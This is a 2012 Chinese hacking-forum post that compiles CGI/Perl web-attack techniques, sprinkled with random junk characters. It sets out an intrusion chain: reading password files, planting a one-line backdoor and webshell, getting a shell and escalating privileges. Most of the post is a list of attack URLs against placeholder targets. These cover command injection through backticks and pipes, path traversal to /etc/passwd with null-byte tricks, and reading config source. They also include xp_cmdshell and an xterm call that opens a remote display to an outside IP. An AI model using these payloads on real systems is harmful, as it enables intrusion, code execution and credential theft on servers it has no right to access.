找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2846|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
+ ]" {* E: x( {) C9 z, \cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
& R2 P- g/ Y4 W5 i, C# H感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  - u" r$ z8 r" F9 N
注“  : ^6 Y: u; D" o" z/ u/ s
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  $ W+ _6 o8 r% U
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  & L' Q' x% r2 l: l% i; B+ x3 `5 f

1 W( `% Q& x+ r* Y) ~* r5 ghttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ) `% d- a* E4 t; t  S
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
% u2 W8 K# ^8 y8 Z/ T  H7 i) n6 uhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
" I$ n3 `+ ~5 D8 W- Yhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
) f8 @# F  B. e* P# c$ U' `http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  ! C3 d3 i+ l! G  q9 b1 T" n( R5 l  j
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  / O/ L' O$ p2 K  ^5 Z
: K: ^, {  V5 ^& N& f4 y
http://target.com/test.pl;ls|  
( `) ~! ^8 C  ^. }http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  , A- k, M1 ~3 K
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
1 F5 W8 ?- A2 A: n! R( E% I/ b" J$ Khttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
; p+ |1 B! z& K: g: ^) e9 D比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
6 Q+ W4 x& g! P4 _" Jhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
! N7 o7 p% O3 Q. ~
9 D+ s/ S5 G3 @- }http://target.com/test.pl?&........ /../../etc/passwd  " g' P& c% O+ y% }5 P

9 q7 O0 Y- F; e; {/ [http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
/ U! f1 Z- ^6 w; n4 [, ]% Qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ! V9 j  r- R) L" E6 k6 K7 N! i
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
: ^, Y8 j6 z$ y1 }3 d7 X( _2 X
0 P) X: w6 J4 j8 p4 y% h7 P4 ohttp://www.target.org/show.php?f ... /include/config.php 查看php代码  , ?' z- G8 X5 _, z* W! Q, E
http://www.target.org/show.php?f ... ng/admin/global.php  + z) l% V4 {) u" f0 q" v
3 P' P% {+ G2 j0 m" C& o8 V" {# w
emm和ps的一句话' I* r( f+ e* K- U
* D" j; a, V# f8 G, ~
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  + {  i; q4 N7 J6 O% I. v! y
) B& e4 a! G  i( _; h: |
>bbb%20|  
; c  K4 m- a7 i& G, E' z* m* U/ I& A( ~" d  n3 ?
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
& }" X# u- a  Z& [: _1 `2 b3 N9 ]# F3 o7 w! C0 Z3 T# D% d
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ( f% B4 K! A5 R7 a
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
- ]: X9 c/ E3 K( ~' b* `  _5 O9 U! C: O4 }- t+ z. [
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
- \' d9 P. v! f1 }http://target.com/index.html#cmd.exe  
: l# L, j2 u0 v  l# \http://target.com/index.html?dummyparam=xp_cmdshell  
3 _3 J& R* r8 E/ ]7 O) ]" Klynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
( E; g! E. f2 e# a# X( r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表